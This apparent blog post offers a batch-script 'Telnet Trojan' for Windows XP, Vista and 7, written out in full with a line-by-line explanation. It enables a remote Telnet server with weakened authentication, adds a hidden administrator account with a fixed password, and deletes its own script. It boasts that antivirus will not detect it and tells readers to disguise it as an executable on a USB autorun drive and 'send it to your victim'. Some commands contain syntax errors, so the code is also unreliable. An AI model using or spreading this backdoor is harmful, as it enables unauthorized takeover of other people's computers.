Create Telnet Trojan For Windows Xp

Following batch script will act as Telnet Trojan to any windows XP system, the best part of it is it’s fully undetectable to all ant-virus programs. Copy following lines in notepad and save with any name with .bat extension for example Trojan.bat
@echo off
sc config tlntsvr start=auto
sc start tlntsvr
tlntadmn config sec=-NTLM
tlntadmn config mode=stream
net user Devil/add
net user Devil 12345
net localgroup administrators Devil /add
reg /add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList /v Devil /t REG_DWORD /d 00000000
del trojan.bat
The first line will keep echo of commands off.
Second line will ask windows to start telnet server every time the system starts.
Third line asks system to start telnet server for current windows NT systems.
Fourth line will disable NTLM hash security to password file.
Fifth line will add an stream mode to telnet.
Sixth and seventh line will add a user with name Devil having password 12345.
Eighth line will add Devil to administrator group.
Ninth line will ask system to hide existence of user Devil.
Tenth line will delete Trojan script from victim’s system.
You can replace word Devil with user name of your choice.
Now you might ask a question why above script will not work on Windows Vista and Windows 7. That’s because by default Vista and 7 doesn’t install telnet packages. For making above script work on them you have to add some more line but the victim system should be connected to the internet while running script.
@echo off
pkgmgr /iu:“TelnetClient”
pkgmgr /iu:“TelnetServer”
sc config tlntsvr start=auto
sc start tlntsvr
tlntadmn config sec=-NTLM
tlntadmn config mode=stream
net user Devil/add
net user Devil 12345
net localgroup administrators Devil /add
reg /add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList /v Devil /t REG_DWORD /d 00000000
Now note that above script will work if it is ran with administrative privileges. That means if user account is not administrator then it’ll not work. After running this script you can connect victim from any platform having Telnet Client by typing following commands.
C:\>telnet <victim’s IP address>
Next above script is very basic example of how to make a Telnet Trojan you can modify the scripts according to your need but there’s still a problem with above script. Since its a batch script it will surely pop out to tackle that problem. Download Hidden Bat2EXE maker and convert it into executable file copy it in pen drive create a autorun.inf for your script in it (read Trojan vectoring for more information)and send it to your victim.
Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s